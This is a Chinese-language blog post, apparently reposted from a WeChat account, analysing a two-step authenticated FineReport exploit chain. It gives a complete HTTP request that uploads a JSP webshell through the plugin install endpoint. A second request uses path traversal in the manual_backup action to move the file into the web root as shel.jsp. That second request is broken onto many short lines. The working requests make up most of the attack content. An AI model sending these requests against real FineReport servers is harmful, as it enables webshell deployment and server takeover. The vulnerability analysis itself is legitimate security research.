摘要
项目中有遇到一次帆软报表,当时是大哥打死的,网上搜索了下发现也没找到poc,调试分析只有一些漏洞分析,所以调试分析了下,我找到的源码和网上师傅分析的源码可能存在一些小差异,所以导致上传路径变了,导致我们移动文件的时候得根据不同情况下在选择不同的路径。
漏洞分析
关于帆软报表中的路由以及请求分发的处理,也是第一次遇见,笔者感觉还是蛮有意思的,感兴趣的读者可以自己研究。
后台任意文件上传分两步。首先我们需要先将 webshell 上传至服务器,然后再将文件移动到可访问的 web 目录下。
接下来,我们先来看第一步
插件上传的漏洞文件位于fr-platform-8.0.jar包中的com.fr.fs.plugin.op.web.action.InstallFromDiskAction,这一部分功能点对应的是后台插件上传的功能,这儿上传的代码写死了上传的文件为local_temp.zip,上传的路径为/web-inf/upload/local_temp.zip
POST /WebReport/ReportServer?op=plugin&cmd=local_install HTTP/1.1
Host: 10.92.64.169:8075
Content-Length: 226
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9ZPGwpk0bLORZAro
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=53F74B74ECF933876F24232796688180; fr_remember=false; fr_password=; fr_username=erick
Connection: close
------WebKitFormBoundary9ZPGwpk0bLORZAro
Content-Disposition: form-data; name="install-from-disk"; filename="shell.zip"
Content-Type: application/zip
<%
out.print("1");
%>
------WebKitFormBoundary9ZPGwpk0bLORZAro--
然后我们第二步要做的是将 WEB-INF/upload/local_temp.zip 文件移动到 web 目录下,在ServerConfigManualBackupAction 类的 actionCMD 方法中,传入原始文件名和新的文件名进行文件移动操作。
自动探测
POST
/
WebReport
/
ReportServer?op
=
fr_server
&
cmd
=
manual_backup HTTP
/
1.1
Host
:
0.0.0.0
:
8080
Accept
-
Encoding
:
gzip
,
deflate
Cookie
:
JSESSIONID
=
12
wuh1def7w85
;
fr_password
=
;
fr_remember
=
false
Connection
:
close
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
Content
-
Length
:
101
optype
=
edit_backup
&
oldname
=
..
/
..
/
..
/
WEB
-
INF
/
upload
/
local_temp
.
zip
&
newname
=
..
/
..
/
..
/
shel
.
jsp
&
serverID
=
总结
关于源码中的小差异,末尾说一说,先看看网上大哥们分析的文章,上传的路径为web-infcachetemp.zip
而我这份代码对应的是web-infuploadlocal_temp.zip, 所以在实际测试中,在第二部文件移动操作的时候得根据不同条件下进行测试。
顺手也写个帆软报表后台解密小插件
原文始发于微信公众号(从零开始的回忆录):帆软报表组合拳漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论